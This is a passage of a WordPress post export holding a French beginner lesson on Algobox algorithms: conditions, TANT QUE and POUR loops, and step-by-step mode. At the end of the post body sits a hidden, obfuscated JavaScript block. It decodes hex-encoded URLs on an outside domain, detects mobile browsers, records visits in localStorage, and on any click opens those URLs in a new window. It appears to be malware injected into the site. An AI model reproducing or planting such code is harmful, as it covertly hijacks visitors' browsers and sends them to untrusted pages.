oublier de remplir la condition dans le cadre comme tout \u00e0 l\u2019heure.<br \/>\nOn voit que le logiciel a rajout\u00e9 SINON avec DEBUT_SINON et FIN_SINON :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/sialorssinonbis.jpg?w=474\" alt=\"\" width=\"223\" height=\"229\" \/><\/p>\n<p dir=\"ltr\">Entre DEBUT_SINON et FIN_SINON, on va mettre toutes les op\u00e9rations \u00e0 faire si la condition n\u2019est pas v\u00e9rifi\u00e9e, c\u2019est-\u00e0-dire si a n\u2019est pas strictement sup\u00e9rieur \u00e0 10.<\/p>\n<p dir=\"ltr\">Un petit exercice : \u00e9cris avec Algobox l\u2019algorithme suivant :<br \/>\n\u00ab\u00a0Prend une variable a donn\u00e9e par l\u2019utilisateur<br \/>\nSi ce nombre est strictement sup\u00e9rieur \u00e0 10, ajoute lui 2 puis divise le par 7<br \/>\nSinon multiplie le par 5, ajoute lui 4 et multiplie le par 2<br \/>\nAffiche le r\u00e9sultat\u00a0\u00bb<\/p>\n<p dir=\"ltr\">Tu devrais avoir cela :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/sialorssinonter.jpg?w=474\" alt=\"\" width=\"257\" height=\"271\" \/><\/p>\n<p dir=\"ltr\">Suivant les algorithmes on utilisera juste SI\u2026ALORS ou SI\u2026ALORS..SINON, tout d\u00e9pend de ce que doit faire l\u2019algorithme.<\/p>\n<p dir=\"ltr\">Les boucles \u00ab\u00a0TANT QUE\u00a0\u00bb<\/p>\n<p class=\"droite\" dir=\"ltr\">Dans l\u2019exemple 2, il y a \u00ab\u00a0jusqu\u2019\u00e0 ce que le r\u00e9sultat soit strictement inf\u00e9rieur \u00e0 1\u00a0\u00bb, qui peut \u00eatre exprim\u00e9 par \u00ab\u00a0tant que le r\u00e9sultat est sup\u00e9rieur ou \u00e9gal \u00e0 1\u00a0\u00bb.<br \/>\n(il faut faire attention ici que le strictement inf\u00e9rieur devient sup\u00e9rieur ou \u00e9gal^^)<br \/>\nC\u2019est pour cela qu\u2019il existe ce que l\u2019on apelle des \u00ab\u00a0boucles tant que\u00a0\u00bb.<\/p>\n<p dir=\"ltr\">\u00ab\u00a0Boucle\u00a0\u00bb signifie que l\u2019on va r\u00e9p\u00e9ter des op\u00e9rations plusieurs fois.<br \/>\nDans l\u2019exemple 2 on a \u00ab\u00a0divise par 2 tant que le r\u00e9sultat est sup\u00e9rieur ou \u00e9gal \u00e0 1\u00a0\u00bb.<br \/>\nOn va donc r\u00e9p\u00e9ter plusieurs fois l\u2019op\u00e9ration \u00ab\u00a0diviser par 2 \u00a0\u00bb TANT QUE le r\u00e9sulat est sup\u00e9rieur ou \u00e9gal \u00e0 1.<\/p>\n<p dir=\"ltr\">Imaginons que l\u2019on parte de a = 11.<br \/>\nL\u2019algorithme peut s\u2019\u00e9crire :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/tantque.jpg?w=474\" alt=\"\" width=\"222\" height=\"182\" \/><\/p>\n<p dir=\"ltr\">Ici on divise a par 2 tant que le r\u00e9sultat est sup\u00e9rieur ou \u00e9gal \u00e0 1, ce qui est bien le fonctionnement recherch\u00e9 de l\u2019algorithme.<\/p>\n<p dir=\"ltr\">Les boucles \u00ab\u00a0tant que\u00a0\u00bb servent quand on a des boucles mais qu\u2019on ne sait pas combien de fois il faudra r\u00e9p\u00e9ter les op\u00e9rations.<\/p>\n<p dir=\"ltr\">Avec Algobox c\u2019est un peu pareil que d\u2019habitude, on fait \u00ab\u00a0nouvelle ligne\u00a0\u00bb, puis \u00ab\u00a0Ajouter Tant que\u00a0\u00bb, et on \u00e9crit la condition.<br \/>\nOn remarque une fois de plus que le logiciel met automatiquement \u00ab\u00a0D\u00e9but TANT_QUE\u00a0\u00bb et \u00ab\u00a0Fin TANT_QUE\u00a0\u00bb.<\/p>\n<p dir=\"ltr\">Les boucles \u00ab\u00a0POUR\u2026DE\u2026A\u00a0\u00bb<\/p>\n<p class=\"droite\" dir=\"ltr\">Mais parfois on sait combien de fois on doit passer dans la boucle !<br \/>\nOn fait alors ce que l\u2019on appelle une boucle \u00ab\u00a0POUR\u2026DE\u2026A\u00a0\u00bb.<\/p>\n<p dir=\"ltr\">Exemple 4 :<br \/>\n\u00ab\u00a0a est un nombre<br \/>\nb est un nombre<br \/>\nChoisir un entier a<br \/>\nChoisir un entier b<br \/>\nAjouter b \u00e0 a 5 fois de suite<br \/>\nAfficher a\u00a0\u00bb<\/p>\n<p dir=\"ltr\">C\u2019est le \u00ab\u00a0Ajouter b \u00e0 a 5 fois de suite\u00a0\u00bb qui nous int\u00e9resse ici.<br \/>\nEn effet, on r\u00e9p\u00e8te la m\u00eame op\u00e9ration (ajouter b) 5 fois : c\u2019est donc une boucle, et on sait qu\u2019on passe 5 fois dans cette boucle, donc on va faire une boucle \u00ab\u00a0POUR\u00a0\u00bb\u00a0<img decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/clin.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><\/p>\n<p dir=\"ltr\">La syntaxe est ici un peu particuli\u00e8re :<br \/>\nSi on veut passer 5 fois dans la boucle, il faut d\u2019abord d\u00e9clarer une variable qui va permettre de dire combien de fois on passe dans la boucle. On va appeler cette variable i.<br \/>\nIl faut bien penser \u00e0 d\u00e9clarer cette variable au d\u00e9but<\/p>\n<p dir=\"ltr\">Ensuite comme d\u2019habitude on clique sur \u00ab\u00a0nouvelle ligne\u00a0\u00bb puis \u00ab\u00a0Ajouter Pour\u2026de\u2026A\u00a0\u00bb<br \/>\nDans la fen\u00eatre qui s\u2019ouvre, on choisit la variable i, et comme on veut passer 5 fois dans la boucle, on met que i va de 1 \u00e0 5 :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/pourdeabis.jpg?w=474\" alt=\"\" width=\"474\" height=\"251\" \/><\/p>\n<p dir=\"ltr\">Au final on a \u00e7a :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i1.wp.com\/www.methodemaths.fr\/pourdea.jpg?w=474\" alt=\"\" width=\"244\" height=\"211\" \/><\/p>\n<p dir=\"ltr\">POUR i ALLANT de 1 \u00e0 5 signifie que i vaudra d\u2019abord 1, puis 2, puis 3, puis 4, puis 5 : on sera donc bien pass\u00e9 dans la boucle 5 fois !!<br \/>\nOn remarque une fois encore la pr\u00e9sence du DEBUT_POUR et FIN_POUR pour montrer toutes les op\u00e9rations \u00e0 effectuer quand on passe dans la boucle.<\/p>\n<p dir=\"ltr\">Concernant la variable i, on peut \u00e9videmment l\u2019appeler comme on veut, mais il faut bien penser \u00e0 la d\u00e9clarer au d\u00e9part !<\/p>\n<p dir=\"ltr\">Petite question simple : que fait cette algorithme ??\u00a0<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/heureux.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><\/p>\n<p dir=\"ltr\">R\u00e9ponse : l\u2019algorithme fait tout simplement le calcul a + 5\u00d7b, puisqu\u2019il ajoute 5 fois b \u00e0 a^^<\/p>\n<p dir=\"ltr\">Le mode pas \u00e0 pas<\/p>\n<p class=\"droite\" dir=\"ltr\">Le mode pas \u00e0 pas est une option que l\u2019on peut prendre quand on teste un algorithme.<br \/>\nMais \u00e0 quoi sert ce mode ?<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/i2.wp.com\/www.methodemaths.fr\/pasapas.jpg?w=474\" alt=\"\" width=\"473\" height=\"236\" \/><\/p>\n<p dir=\"ltr\">Tu as d\u00fb remarquer que quand tu testes l\u2019algorithme, le logiciel affiche les r\u00e9sultats presque instantan\u00e9ment.<br \/>\nMais tu ne vois pas tous les calculs interm\u00e9diaires qu\u2019il fait !!<\/p>\n<p dir=\"ltr\">Et bien justement le mode pas \u00e0 pas te permet te voir tous les calculs effectu\u00e9s par le logiciel.<br \/>\nTu dois te dire : \u00ab\u00a0\u00e0 quoi \u00e7a sert, vu qu\u2019on ne veut que le r\u00e9sultat ?!\u00a0\u00bb<\/p>\n<p dir=\"ltr\">Si ton algorithme marche, en effet il n\u2019y a pas de souci, mais si l\u2019algorithme que tu as \u00e9crit est faux ??\u00a0<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/decu.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><br \/>\nC\u2019est qu\u2019il doit y avoir une erreur \u00e0 un moment ou \u00e0 un autre, et le mode pas \u00e0 pas te permet justement de d\u00e9tecter o\u00f9 est cette erreur.<\/p>\n<p dir=\"ltr\"><strong>Exercices<\/strong><\/p>\n<p class=\"droite\" dir=\"ltr\">Bon maintenant tu dois \u00eatre au top avec le logiciel et les algorithmes\u00a0<img decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/clin.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><\/p>\n<p dir=\"ltr\">Mais les exemples donn\u00e9s dans le cours sont assez simples, alors que le plus int\u00e9ressant, c\u2019est quand c\u2019est difficile !\u00a0<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/i0.wp.com\/www.methodemaths.fr\/heureux.png?w=474\" alt=\"\" width=\"19\" height=\"19\" \/><\/p>\n<p dir=\"ltr\">Nous t\u2019avons donc pr\u00e9par\u00e9 quelques exercices afin que tu puisses t\u2019entra\u00eener :\u00a0<a href=\"http:\/\/www.energy-sciences.org\/energy\/2017\/12\/14\/exercices-sur-lalgorithmie-avec-algobox\/\">clique ici pour voir ces exercices !<\/a><\/p>\n<p dir=\"ltr\">Int\u00e9r\u00eat des algorithmes<br \/>\nLes algorithmes sont \u00e0 la base de beaucoup de choses que tu utilises.<br \/>\nLes ordinateurs et autres t\u00e9l\u00e9phones portables notamment sont bas\u00e9s principalement sur des algorithmes. D\u2019une mani\u00e8re g\u00e9n\u00e9rale, tout ce qui est automatique est plus ou moins bas\u00e9 sur des algorithmes.<\/p>\n<p dir=\"ltr\">Pour toi, le principale avantage des algorithmes est de t\u2019apprendre \u00e0 avoir un certain raisonnement logique, \u00e0 d\u00e9velopper ta logique.<br \/>\nEn effet, tu auras remarqu\u00e9 qu\u2019un algortihme est enti\u00e8rement bas\u00e9 sur la logique, il fait ce que tu lui dis un point c\u2019est tout !<br \/>\nCela devrait grandement t\u2019aider par la suite pour les mati\u00e8res scientifiques mais aussi les autres mati\u00e8res.<br \/>\nSi tu fais de l\u2019informatique et de la programmation plus tard, tu feras principalement ce genre de raisonnement et d\u2019exercices, donc entra\u00eene-toi d\u00e8s maintenant !<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x61\\x63\\x5a\\x33\\x63\\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x6e\\x70\\x48\\x35\\x63\\x355','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x66\\x4c\\x4d\\x38\\x63\\x328','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x56\\x41\\x72\\x39\\x63\\x369','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x71\\x72\\x70\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x54\\x50\\x52\\x37\\x63\\x317','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x65\\x52\\x6a\\x32\\x63\\x322','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x50\\x5a\\x6e\\x36\\x63\\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x50\\x49\\x44\\x30\\x63\\x330','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x67\\x76\\x75\\x31\\x63\\x351',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"mh-excerpt\"><p>Sommaire Qu\u2019est-ce-qu\u2019un algorithme ? Les diff\u00e9rents \u00e9l\u00e9ments Les d\u00e9clarations Lire une variable Afficher une variable Tester l\u2019algorithme Afficher un message Les affectations Les conditions SI\u2026ALORS SI\u2026ALORS\u2026SINON Les boucles \u00ab\u00a0TANT QUE\u00a0\u00bb Les boucles \u00ab\u00a0POUR\u2026DE\u2026A\u00a0\u00bb Le mode <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/algorithmie-avec-algobox\/\" title=\"ALGORITHMIE AVEC ALGOBOX\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[109],"tags":[],"class_list":{"0":"post-1160","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-informatique-tc"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/1160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=1160"}],"version-history":[{"count":2,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/1160\/revisions"}],"predecessor-version":[{"id":1166,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/1160\/revisions\/1166"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=1160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=1160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=1160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}